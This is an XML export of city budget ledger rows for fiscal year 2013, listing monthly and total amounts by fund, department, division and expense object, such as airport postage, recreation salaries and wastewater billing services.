<row _id="2237"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5508.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5508.0</total></row>
<row _id="2238"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2888.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2888.0</total></row>
<row _id="2239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>49709.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>49709.0</total></row>
<row _id="2240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20673.0</july><august>0</august><september>0.0</september><october>-943.0</october><november>0</november><december>0</december><january>0.0</january><february>197</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19927.0</total></row>
<row _id="2241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16309.0</july><august>0</august><september>0.0</september><october>-1122.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15187.0</total></row>
<row _id="2242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>890.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>890.0</total></row>
<row _id="2243"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555121.0</object><object_description>ASSFC PASS-THRU</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
<row _id="2244"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20650.0</total></row>
<row _id="2245"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="2246"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1410.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1410.0</total></row>
<row _id="2247"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1530.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1530.0</total></row>
<row _id="2248"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24038.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>240</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24278.0</total></row>
<row _id="2249"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1080.0</total></row>
<row _id="2250"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510.0</total></row>
<row _id="2251"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>556010.0</object><object_description>UTILITY CONTRACTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>273166.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>273166.0</total></row>
<row _id="2252"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407950.0</object><object_description>TRAINING GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1020.0</total></row>
<row _id="2253"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11366.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11366.0</total></row>
<row _id="2254"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1657805.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16578</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1674383.0</total></row>
<row _id="2255"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2054.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2054.0</total></row>
<row _id="2256"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1566.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1566.0</total></row>
<row _id="2257"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12422.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>124</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12546.0</total></row>
<row _id="2258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="2259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10189.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10189.0</total></row>
<row _id="2260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>303998.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>303998.0</total></row>
<row _id="2261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>78365.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>78365.0</total></row>
<row _id="2262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>411.0</total></row>
<row _id="2263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1855.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>19</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1874.0</total></row>
<row _id="2264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10364.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10364.0</total></row>
<row _id="2265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>683193.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6832</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>690025.0</total></row>
<row _id="2266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1780.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1780.0</total></row>
<row _id="2267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>34682.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>34682.0</total></row>
<row _id="2268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24223.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>242</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24465.0</total></row>
<row _id="2269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>631.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>637.0</total></row>
<row _id="2270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="2271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>541850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>541850.0</total></row>
<row _id="2272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1368.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1368.0</total></row>
<row _id="2273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1350.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1350.0</total></row>
<row _id="2274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9971.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>100</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10071.0</total></row>
<row _id="2275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406802.0</object><object_description>09 STATE HOMELAND SEC GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-81509.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-81509.0</total></row>
<row _id="2276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>578835.0</object><object_description>JAG 2010</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7360.0</july><august>0</august><september>0.0</september><october>11.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7371.0</total></row>
<row _id="2277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3300.0</total></row>
<row _id="2278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>27628.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>276</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27904.0</total></row>
<row _id="2279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5393.0</july><august>0</august><september>0.0</september><october>-228.0</october><november>0</november><december>0</december><january>0.0</january><february>52</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5217.0</total></row>
<row _id="2280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10390.0</july><august>0</august><september>0.0</september><october>-38.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10352.0</total></row>
<row _id="2281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>244864.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2449</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>247313.0</total></row>
<row _id="2282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6914.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6914.0</total></row>
<row _id="2283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>413.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>413.0</total></row>
<row _id="2284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2031.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>20</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2051.0</total></row>
